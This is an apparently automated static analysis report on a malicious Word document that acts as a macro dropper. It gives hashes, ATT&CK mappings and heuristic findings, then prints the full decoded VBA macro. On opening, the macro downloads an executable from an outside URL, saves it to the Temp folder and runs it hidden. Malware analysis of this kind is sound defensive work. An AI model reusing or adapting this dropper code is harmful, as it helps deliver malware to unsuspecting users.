Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f17abff22b6689cc…

MALICIOUS

Office (OOXML)

30.4 KB Created: 2018-05-03 16:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-05-16
MD5: b3601c3db474fc4506f132d0c0218408 SHA-1: 55c2fa9917234fd213e7c5664a8a50d118d9c027 SHA-256: f17abff22b6689ccef0f5773183623ef55bd0dfeeb425b225b2e4ba6660fe762
498 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro attempts to download a second-stage executable from 'http://zdatasolutions.com.au/css/css.exe', saves it as 'qwerty2.exe' in the temporary directory, and then executes it. This is a common dropper pattern designed to bypass security measures by masquerading as a protected document requiring macro enablement.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    xyuhjnx = WinHttpReq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://zdatasolutions.com.au/css/css.exe Referenced by macro
    • http://zdatasolutions.com.au/css/css.exe�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1363 bytes
SHA-256: 94e938a4b41916a9b0565642485e9f96c13b21c1bf6f87e02aa18bfa0a4f9ddd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    
WinHttpReq.Open "GET", "http://zdatasolutions.com.au/css/css.exe", False, "username", "password"
WinHttpReq.send

Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    
    oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
    oStream.Close
    
End If
 
Call Shell(Environ("Temp") + "\qwerty2.exe", 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: b9d2c1414eccc0f7b66a7009cc139a85db86e0a65bc254ceb2d7ce47ba543456
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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